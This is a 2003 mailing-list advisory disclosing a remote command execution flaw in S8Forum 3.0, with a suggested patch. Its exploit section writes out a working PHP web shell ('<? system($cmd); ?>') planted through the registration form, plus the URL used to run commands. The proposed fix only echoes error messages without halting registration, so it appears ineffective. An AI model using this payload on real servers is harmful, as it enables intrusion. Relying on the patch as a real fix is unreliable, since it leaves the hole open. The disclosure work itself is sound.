A security vulnerability in S8Forum

From: nmsh_saat_private
Date: Sun Jan 05 2003 - 03:26:48 PST

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    INFORMATIONS :
    =============
    
    - Product : S8Forum
    - Tested version : 3.0 maybe other versions.
    - Website : http://www.kellishaver.com/
    Vendor Status: not informed yet !!!
    - Problem : A security vulnerability in S8Forum
    
    PROBLEM :
    =========
    
    This forum writen by PHP. It doesn't use database,
    instead  that it creates new file with the name of the
    registered user then save it in (users) directory
    without extention.
    
    The programm doesn't check user's intries, like user
    name, email..etc!. This bug able us to run some
    commands on the server!.
    
    EXPLOIT :
    =========
    
    - go to Register
    
    - insert in Username:
    any_name.php   
    NOTE: .php :)
    
    - in password : any_pasword.
    
    - in E-Mail:
    
    <? system($cmd); ?>
    
    or any code :(
    
    - now go to  this URL:
    
    http://sitename/s8forumfolder/users/any_name.php?cmd=uname%20-a
    
    ------ out ---
    
    evil.php:c4ca4238a0b923820dcc509a6f75849b Linux
    xxx.xxx.net 2.4.18 #2 SMP Mon Nov 18 16:50:02 CST 2002
    i686 unknown 
    
    ------ out ---
    
     
    
    SOLUTION :
    ==========
    
    open register.php
    
    - step1 find this lines:
    
    
    case 'registration_confirm':
    // what to do with the form data 
    
    include("settings/header.php");
    
    
    - The next step add below:
    
    
     if(!eregi("^[_a-z0-9-]+(\.[_a-z0-9-]+)*@[a-z0-9-]+(\.[a-z0-9-]+)*(\.[a-z]{2,3})$",  $email) &&  $email  != 
    "") { 
    echo "<p><font size=\"4\" color=\"#FF0000\">Please
    enter a valid email address. Press the back button and
    correct it.</font></p>";  
       
        }
    if(strstr($uname, "."))
    echo "<p><font size=\"4\" color=\"#FF0000\">Please
    enter a valid username. Press the back button and
    correct it.</font></p>";
     break;
    
     
    
    NOTE :
    ======
    S8Forum author has been notified on Sun 17/11 2002.
    Another mail was sent on 22/12 2002. No answer so far,
    no new release, no patch to fix these issues.
    
     
    
    PROVIDED BY :
    =============
    Nasser.M.Sh
    nmsh_saat_private
    
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